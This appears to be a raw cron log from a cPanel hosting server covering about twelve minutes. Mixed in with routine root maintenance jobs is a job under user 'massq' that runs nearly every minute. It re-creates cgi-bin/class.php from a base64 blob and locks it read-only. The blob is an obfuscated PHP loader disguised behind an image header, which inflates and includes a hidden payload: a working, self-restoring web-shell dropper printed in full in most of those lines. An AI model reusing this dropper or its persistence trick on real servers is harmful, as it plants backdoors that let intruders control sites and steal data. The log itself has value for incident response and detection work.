Sep  5 09:48:01 server CROND[17272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:49:01 server CROND[17703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:49:01 server CROND[17704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:49:01 server CROND[17705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:50:01 server CROND[18078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:50:01 server CROND[18079]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:50:01 server CROND[18084]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:50:01 server CROND[18086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:50:01 server CROND[18087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:50:01 server CROND[18088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:50:01 server CROND[18090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:50:01 server CROND[18089]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:50:01 server CROND[18091]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 09:51:01 server CROND[18916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:51:01 server CROND[18917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:51:01 server CROND[18918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:52:01 server CROND[19287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:52:01 server CROND[19288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:52:01 server CROND[19289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:53:01 server CROND[19662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:53:01 server CROND[19663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:53:01 server CROND[19664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:54:01 server CROND[20127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:54:01 server CROND[20128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:54:01 server CROND[20129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:55:01 server CROND[20526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:55:01 server CROND[20527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:55:01 server CROND[20528]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:55:01 server CROND[20532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:55:01 server CROND[20531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:55:01 server CROND[20533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:55:01 server CROND[20530]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:56:01 server CROND[21351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:56:01 server CROND[21352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:56:01 server CROND[21353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:57:01 server CROND[21740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:57:01 server CROND[21741]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 09:57:01 server CROND[21742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:57:01 server CROND[21743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:58:01 server CROND[22107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:58:01 server CROND[22108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:58:01 server CROND[22109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:59:01 server CROND[22565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:59:01 server CROND[22566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:59:01 server CROND[22567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:00:01 server CROND[23111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:00:01 server CROND[23113]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:00:01 server CROND[23120]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 10:00:01 server CROND[23116]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:00:01 server CROND[23118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
